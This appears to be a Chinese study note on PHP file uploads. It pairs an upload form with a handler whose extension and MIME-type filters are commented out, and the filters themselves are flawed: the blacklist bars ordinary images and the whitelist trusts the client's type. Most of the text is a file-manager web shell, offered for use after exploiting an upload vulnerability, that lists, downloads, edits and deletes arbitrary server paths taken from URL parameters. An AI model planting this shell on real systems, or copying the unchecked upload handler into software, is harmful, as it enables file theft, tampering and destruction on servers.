今天学习文件上传的相关知识
上传的前端页面如下
upload.html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>简单文件上传</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 600px;
margin: 0 auto;
padding: 20px;
}
.upload-container {
border: 2px dashed #ccc;
padding: 20px;
text-align: center;
border-radius: 5px;
}
.upload-btn {
background-color: #4CAF50;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
margin-top: 15px;
}
.upload-btn:hover {
background-color: #45a049;
}
.note {
font-size: 14px;
color: #666;
margin-top: 10px;
}
</style>
</head>
<body>
<h1>文件上传</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="upload-container">
<h3>选择要上传的文件</h3>
<input type="file" name="file" id="file" required>
<p class="note">注意:实际文件上传需要服务器端处理脚本</p>
<button type="submit" class="upload-btn">上传文件</button>
</div>
</form>
</body>
</html>
配套的php文件如下:
upload.php
<?php
$name = $_FILES['file']['name'];
$type = $_FILES['file']['type'];
$size = $_FILES['file']['size'];
$temp_name = $_FILES['file']['tmp_name'];
echo $type;
$error = $_FILES['file']['error'];
$black_ext = array('jpg', 'jpeg', 'gif', 'png');//添加非法文件类型
$fenge = explode(".", $name);//通过.分割文件形成数组
$exts = end($fenge);//拿到数组最后面的数据
//黑名单过滤
//if (in_array($exts, $black_ext)) {//对后缀进行验证
// echo "非法文件'.$exts'";//失败
//}else{
// move_uploaded_file($temp_name, './'.$name);//保存在根目录下
// echo '<script>alert("上传成功");</script>';
//}
//白名单过滤
//$allow_type = array('image/jpeg','video/mp4','image/png','image/gif');
//if(!in_array($type,$allow_type)){
// echo '非法后缀';
//}else{
// move_uploaded_file($temp_name,'.'.$name);
// echo '<script>alert</script>';
//}
?>
两个过滤模式
黑名单过滤
白名单过滤
html调用后可以上传文件
如果遇到上传漏洞 可以使用一下的简单代码拿到数据 例子如下
<?php
$dir = $_GET['dir'] ?? './';
function show_file($dir) {
$d = opendir($dir);
while(($file=readdir($d))!==false){
if(is_dir($file)){
echo '文件夹:'.$file."<br>";
}else{
echo '文件:'.$file."<br>";
}
}
}
show_file($dir);
上传文件成功和 访问即可 这里修改了dir里面的参数
成功拿到目录信息
优化拿到目录(文件)后的操作
并且添加了删除 下载 修改功能
<?php
// 获取操作类型(删除、下载、编辑)
$action = isset($_GET['a']) ? $_GET['a'] : '';
// 获取路径参数,默认当前目录
$path = isset($_GET['path']) ? $_GET['path'] : './';
// 路径处理:去除两端斜杠/反斜杠
$path = rtrim($path, '/\\');
//判断是文件还是目录
if (is_file($path)) {
$current_dir = dirname($path) . '/'; // 文件所在目录
$file = basename($path); // 文件名
} else {
$current_dir = $path . '/'; // 目录路径
// 检查目录是否存在
if (!is_dir($current_dir)) {
die('sorry, the directory does not exist: ' . $current_dir);
}
}
//拿到路径信息
function getlist($path) {
$hd = opendir($path); // 打开目录句柄
$list = ['dir' => [], 'file' => []]; // 初始化分类数组
// 遍历目录内容
while(($file_name = readdir($hd)) !== false) {
// 跳过当前目录(.)和上级目录(..)
if($file_name != "." && $file_name != "..") {
$file_path = $path . $file_name; // 完整文件路径
// 跳过不存在的文件
if(!file_exists($file_path)) continue;
$file_type = filetype($file_path); // 获取文件类型
// 按类型分类存储文件信息
$list[$file_type][] = array(
'file_name' => $file_name, // 文件名
'file_path' => $file_path, // 完整路径
'file_size' => is_file($file_path) ? round(filesize($file_path)/1024) : '-', // 文件大小(KB)
'file_time' => date('Y/m/d', filemtime($file_path)), // 修改日期
);
}
}
closedir($hd); // 关闭目录句柄
return $list;
}
// 获取当前目录内容列表
$list = getlist($current_dir);
//执行对应操作
switch($action) {
// 删除文件操作
case 'del':
if(isset($_GET['path'])) {
$fileToDelete = $_GET['path'];
// 验证文件存在且是普通文件
if(file_exists($fileToDelete) && is_file($fileToDelete)) {
// 执行删除
if(unlink($fileToDelete)) {
// 删除成功后返回父目录
header("Location: ?path=" . dirname($fileToDelete));
exit;
} else {
die('删除文件失败,可能是权限不足');
}
} else {
die('文件不存在或不是普通文件');
}
} else {
die('未指定要删除的文件路径');
}
break;
// 文件下载操作
case 'down':
if (isset($_GET['path'])) {
$file = $_GET['path'];
// 验证文件存在且是普通文件
if (file_exists($file) && is_file($file)) {
// 设置下载头信息
header('Content-Type: application/octet-stream'); // 二进制流
header('Content-Disposition: attachment; filename="' . basename($file) . '"'); // 下载文件名
header('Content-Length: ' . filesize($file)); // 文件大小
readfile($file); // 输出文件内容
exit;
}
}
break;
// 文件编辑操作
case 'edit':
if (isset($_GET['path'])) {
$file = $_GET['path'];
// 处理保存操作(POST请求)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = $_POST['content'] ?? ''; // 获取编辑内容
// 写入文件
if (file_put_contents($file, $content) !== false) {
// 保存成功返回目录
header("Location: ?path=" . dirname($file));
exit;
} else {
die('保存文件失败,可能是权限不足');
}
}
// 显示编辑界面
if (file_exists($file) && is_file($file) && is_readable($file)) {
$content = htmlspecialchars(file_get_contents($file)); // 读取内容并转义
$filename = basename($file); // 获取纯文件名
// 输出编辑界面HTML
echo <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>编辑文件 - {$filename}</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
h1 { margin-bottom: 20px; }
textarea { width: 100%; height: 400px; font-family: monospace; }
.actions { margin-top: 10px; }
</style>
</head>
<body>
<h1>编辑文件: {$filename}</h1>
<form method="post">
<textarea name="content">{$content}</textarea>
<div class="actions">
<button type="submit">保存</button>
<a href="?path=" . dirname($file) . "">取消</a>
</div>
</form>
</body>
</html>
HTML;
exit;
} else {
die('文件不可编辑或不存在');
}
}
break;
// 默认情况:显示目录内容
default:
break;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>设备类型图例</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 20px;
}
h1 {
text-align: center;
margin-bottom: 20px;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
text-align: center;
}
img {
vertical-align: middle;
}
</style>
</head>
<body>
<h1>图例</h1>
<table>
<thead>
<tr>
<th>图形</th>
<th>名称</th>
<th>日期</th>
<th>大小</th>
<th>路径</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php foreach ($list['dir'] as $v): ?>
<tr>
<td><img src="./img/file.png" width="20" height="20"></td>
<td><?php echo htmlspecialchars($v['file_name']); ?></td>
<td><?php echo $v['file_time']; ?></td>
<td>-</td>
<td><?php echo htmlspecialchars($v['file_path']); ?></td>
<td><a href="?path=<?php echo urlencode($v['file_path']); ?>">打开</a></td>
</tr>
<?php endforeach; ?>
<?php foreach ($list['file'] as $v): ?>
<tr>
<td></td>
<td><?php echo htmlspecialchars($v['file_name']); ?></td>
<td><?php echo $v['file_time']; ?></td>
<td><?php echo $v['file_size']; ?></td>
<td><?php echo htmlspecialchars($v['file_path']); ?></td>
<td>
<a href="?a=edit&path=<?php echo urlencode($v['file_path']); ?>">编辑</a>
<a href="?a=down&path=<?php echo urlencode($v['file_path']); ?>">下载</a>
<a href="?a=del&path=<?php echo urlencode($v['file_path']); ?>" οnclick="return confirm('确定删除吗?')">删除</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</body>
</html>
功能就不一一展示了
功能都可以实现 但是全是安全问题
通过代码 知道了大致的文件上传的过程于一些基本的安全问题